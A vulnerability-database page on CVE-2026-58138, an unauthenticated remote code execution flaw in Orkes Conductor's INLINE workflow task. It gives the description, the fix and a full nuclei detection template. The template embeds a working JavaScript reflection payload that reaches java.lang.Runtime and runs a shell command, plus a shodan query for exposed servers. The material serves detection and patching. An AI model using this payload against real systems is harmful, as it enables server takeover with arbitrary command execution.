HexBrain

Browse / CVEs / CVE-2026-58138

CVE-2026-58138· conductor-oss / conductor· CWE-94

Orkes Conductor 3.21.21-3.30.1 - Remote Code Execution

criticalseverity
9.8CVSS score
9.1%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

Orkes Conductor from 3.21.21 before 3.30.2 is vulnerable to unauthenticated remote code execution. The INLINE workflow task evaluates a user-supplied JavaScript expression in a GraalVM context created with HostAccess.ALL, so an unauthenticated attacker can reflect from the bound input object to java.lang.Runtime and execute arbitrary operating system commands through the workflow API.

Impact

A remote, unauthenticated attacker can execute arbitrary operating system commands on the Conductor server.

Fix

Upgrade to Orkes Conductor 3.30.2 or later, which disables host class loading in the script evaluators.

How to confirm it

Send: POST /api/metadata/workflow
Positive when: status_code == 200
Send: POST /api/workflow/{{wfname}}
Positive when: status_code == 200
Send: GET /api/workflow/{{wfid}}?includeTasks=true
Positive when: contains "{{marker}}-42" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2026-58138 -u <target>

The full check
id: CVE-2026-58138

info:
  name: Orkes Conductor 3.21.21-3.30.1 - Remote Code Execution
  author: aryu-ru
  severity: critical
  description: |
    Orkes Conductor from 3.21.21 before 3.30.2 is vulnerable to unauthenticated remote code execution. The INLINE workflow task evaluates a user-supplied JavaScript expression in a GraalVM context created with HostAccess.ALL, so an unauthenticated attacker can reflect from the bound input object to java.lang.Runtime and execute arbitrary operating system commands through the workflow API.
  impact: |
    A remote, unauthenticated attacker can execute arbitrary operating system commands on the Conductor server.
  remediation: |
    Upgrade to Orkes Conductor 3.30.2 or later, which disables host class loading in the script evaluators.
  reference:
    - https://www.vulncheck.com/advisories/orkes-conductor-unauthenticated-rce-via-graalvm-script-evaluators
    - https://github.com/conductor-oss/conductor/commit/c691e35e768caeb802c9f06ecdd9674c80081af1
    - https://github.com/conductor-oss/conductor/releases/tag/v3.30.2
    - https://nvd.nist.gov/vuln/detail/CVE-2026-58138
    - https://github.com/BiiTts/CVE-2026-58138-Conductor-Unauth-RCE
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-58138
    epss-score: 0.09143
    epss-percentile: 0.95358
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 3
    vendor: conductor-oss
    product: conductor
    shodan-query: http.title:"Conductor UI"
  tags: cve,cve2026,conductor,graalvm,rce,intrusive,vkev

variables:
  wfname: "{{rand_text_alpha(12)}}"
  marker: "{{rand_text_alphanumeric(8)}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /api/metadata/workflow HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{wfname}}", "version": 1, "schemaVersion": 2, "ownerEmail": "[email protected]", "tasks": [{"name": "n", "taskReferenceName": "n", "type": "INLINE", "inputParameters": {"evaluatorType": "javascript", "expression": "var k=$.getClass().getClass();var S=k.getMethod('getName').getReturnType();var forName=k.getMethod('forName',S);var L=function(n){return forName.invoke(null,[n]);};var RT=L('java.lang.Runtime');var rt=RT.getMethod('getRuntime').invoke(null,[]);var I=L('java.lang.Integer').getField('TYPE').get(null);var A=L('java.lang.reflect.Array');var arr=A.getMethod('newInstance',k,I).invoke(null,[S,3]);var set=A.getMethod('set',L('java.lang.Object'),I,L('java.lang.Object'));set.invoke(null,[arr,0,'sh']);set.invoke(null,[arr,1,'-c']);set.invoke(null,[arr,2,'echo {{marker}}-$((6*7))']);var p=RT.getMethod('exec',arr.getClass()).invoke(rt,[arr]);p.waitFor();var isr=L('java.io.InputStreamReader').getConstructor(L('java.io.InputStream')).newInstance(p.getInputStream());var br=L('java.io.BufferedReader').getConstructor(L('java.io.Reader')).newInstance(isr);var o='',l;while((l=br.readLine())!==null)o+=l+'\\n';o"} }]}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
        internal: true

  - raw:
      - |
        POST /api/workflow/{{wfname}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
        internal: true

    extractors:
      - type: regex
        name: wfid
        internal: true
        group: 1
        regex:
          - "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})"

  - raw:
      - |
        GET /api/workflow/{{wfid}}?includeTasks=true HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{marker}}-42"

      - type: word
        part: content_type
        words:
          - application/json

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from